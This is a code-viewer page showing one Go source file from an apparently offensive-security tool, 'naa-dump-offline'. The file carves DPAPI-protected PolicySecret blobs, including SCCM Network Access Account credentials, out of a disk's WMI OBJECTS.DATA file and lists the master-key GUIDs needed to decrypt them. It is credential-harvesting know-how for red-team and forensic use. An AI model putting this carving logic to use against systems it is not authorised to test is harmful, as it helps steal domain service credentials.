[SHEHZADE//ABDULLAH ANSARI]
Red Team Consultant @ Google | MS in Cybersecurity @ NYU
● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
Offline extractor and decryptor for SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk WMI repositories and DPAPI master keys.
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git clone https://shehzade.io/repos/naa-dump-offline.git
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Source ZIP (290.0 KB)
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164 lines · 3.7 KB
| 1 | package wmi |
| 2 | |
| 3 | import ( |
| 4 | "bytes" |
| 5 | "encoding/hex" |
| 6 | "fmt" |
| 7 | "os" |
| 8 | "regexp" |
| 9 | "sort" |
| 10 | "strings" |
| 11 | |
| 12 | "github.com/shehzade/naa-dump-offline/pkg/dpapi" |
| 13 | ) |
| 14 | |
| 15 | type CarverResult struct { |
| 16 | TotalBlobs int |
| 17 | UniqueBlobs []*CarvedSecret |
| 18 | RequiredGUIDs []string |
| 19 | GUIDCounts map[string]int |
| 20 | } |
| 21 | |
| 22 | var ( |
| 23 | policySecretRe = regexp.MustCompile(`(?s)<PolicySecret[^>]*><!\[CDATA\[([0-9A-Fa-f]{100,})\]\]></PolicySecret>`) |
| 24 | ) |
| 25 | |
| 26 | func ScanObjectsData(objectsDataPath string) (*CarverResult, error) { |
| 27 | data, err := os.ReadFile(objectsDataPath) |
| 28 | if err != nil { |
| 29 | return nil, fmt.Errorf("failed to read OBJECTS.DATA: %w", err) |
| 30 | } |
| 31 | |
| 32 | result := &CarverResult{ |
| 33 | GUIDCounts: make(map[string]int), |
| 34 | } |
| 35 | |
| 36 | seenHex := make(map[string]*CarvedSecret) |
| 37 | |
| 38 | matches := policySecretRe.FindAllSubmatchIndex(data, -1) |
| 39 | result.TotalBlobs = len(matches) |
| 40 | |
| 41 | for i, loc := range matches { |
| 42 | matchStart := loc[0] |
| 43 | matchEnd := loc[1] |
| 44 | subStart := loc[2] |
| 45 | subEnd := loc[3] |
| 46 | |
| 47 | hexPayload := string(data[subStart:subEnd]) |
| 48 | |
| 49 | ctxStart := matchStart - 200 |
| 50 | if ctxStart < 0 { |
| 51 | ctxStart = 0 |
| 52 | } |
| 53 | prefixChunk := string(data[ctxStart:matchStart]) |
| 54 | context := "PolicySecret" |
| 55 | if strings.Contains(prefixChunk, "CCM_NetworkAccessAccount") { |
| 56 | context = "CCM_NetworkAccessAccount" |
| 57 | } else if strings.Contains(prefixChunk, "CCM_Policy_Action") { |
| 58 | context = "CCM_Policy_Action" |
| 59 | } else if strings.Contains(prefixChunk, "CCM_Policy_Policy5") { |
| 60 | context = "CCM_Policy_Policy5" |
| 61 | } |
| 62 | |
| 63 | rawBytes, err := hex.DecodeString(hexPayload) |
| 64 | if err != nil || len(rawBytes) < 44 { |
| 65 | continue |
| 66 | } |
| 67 | |
| 68 | blobBytes := rawBytes |
| 69 | if len(rawBytes) > 4 { |
| 70 | blobBytes = rawBytes[4:] |
| 71 | } |
| 72 | |
| 73 | blob, err := dpapi.ParseDPAPIBlob(blobBytes) |
| 74 | if err != nil { |
| 75 | blob, err = dpapi.ParseDPAPIBlob(rawBytes) |
| 76 | if err != nil { |
| 77 | continue |
| 78 | } |
| 79 | } |
| 80 | |
| 81 | guid := blob.GuidMasterKey |
| 82 | if guid != "" { |
| 83 | result.GUIDCounts[guid]++ |
| 84 | } |
| 85 | |
| 86 | if existing, ok := seenHex[hexPayload]; ok { |
| 87 | if existing.Context == "PolicySecret" && context != "PolicySecret" { |
| 88 | existing.Context = context |
| 89 | } |
| 90 | continue |
| 91 | } |
| 92 | |
| 93 | secret := &CarvedSecret{ |
| 94 | Index: i + 1, |
| 95 | Offset: int64(matchStart), |
| 96 | MasterKeyGUID: guid, |
| 97 | Context: context, |
| 98 | RawHex: hexPayload, |
| 99 | } |
| 100 | |
| 101 | seenHex[hexPayload] = secret |
| 102 | result.UniqueBlobs = append(result.UniqueBlobs, secret) |
| 103 | _ = matchEnd |
| 104 | } |
| 105 | |
| 106 | naaIdx := 0 |
| 107 | for { |
| 108 | idx := bytes.Index(data[naaIdx:], []byte("CCM_NetworkAccessAccount")) |
| 109 | if idx == -1 { |
| 110 | break |
| 111 | } |
| 112 | actualIdx := naaIdx + idx |
| 113 | windowEnd := actualIdx + 2000 |
| 114 | if windowEnd > len(data) { |
| 115 | windowEnd = len(data) |
| 116 | } |
| 117 | window := data[actualIdx:windowEnd] |
| 118 | |
| 119 | subMatches := cdataRegex.FindAllSubmatchIndex(window, -1) |
| 120 | for _, sm := range subMatches { |
| 121 | h := string(window[sm[2]:sm[3]]) |
| 122 | if _, ok := seenHex[h]; !ok { |
| 123 | rawBytes, err := hex.DecodeString(h) |
| 124 | if err != nil || len(rawBytes) < 44 { |
| 125 | continue |
| 126 | } |
| 127 | blobBytes := rawBytes |
| 128 | if len(rawBytes) > 4 { |
| 129 | blobBytes = rawBytes[4:] |
| 130 | } |
| 131 | blob, err := dpapi.ParseDPAPIBlob(blobBytes) |
| 132 | if err != nil { |
| 133 | blob, err = dpapi.ParseDPAPIBlob(rawBytes) |
| 134 | if err != nil { |
| 135 | continue |
| 136 | } |
| 137 | } |
| 138 | guid := blob.GuidMasterKey |
| 139 | if guid != "" { |
| 140 | result.GUIDCounts[guid]++ |
| 141 | } |
| 142 | secret := &CarvedSecret{ |
| 143 | Index: len(result.UniqueBlobs) + 1, |
| 144 | Offset: int64(actualIdx + sm[0]), |
| 145 | MasterKeyGUID: guid, |
| 146 | Context: "CCM_NetworkAccessAccount", |
| 147 | RawHex: h, |
| 148 | } |
| 149 | seenHex[h] = secret |
| 150 | result.UniqueBlobs = append(result.UniqueBlobs, secret) |
| 151 | result.TotalBlobs++ |
| 152 | } |
| 153 | } |
| 154 | |
| 155 | naaIdx = actualIdx + len("CCM_NetworkAccessAccount") |
| 156 | } |
| 157 | |
| 158 | for guid := range result.GUIDCounts { |
| 159 | result.RequiredGUIDs = append(result.RequiredGUIDs, guid) |
| 160 | } |
| 161 | sort.Strings(result.RequiredGUIDs) |
| 162 | |
| 163 | return result, nil |
| 164 | } |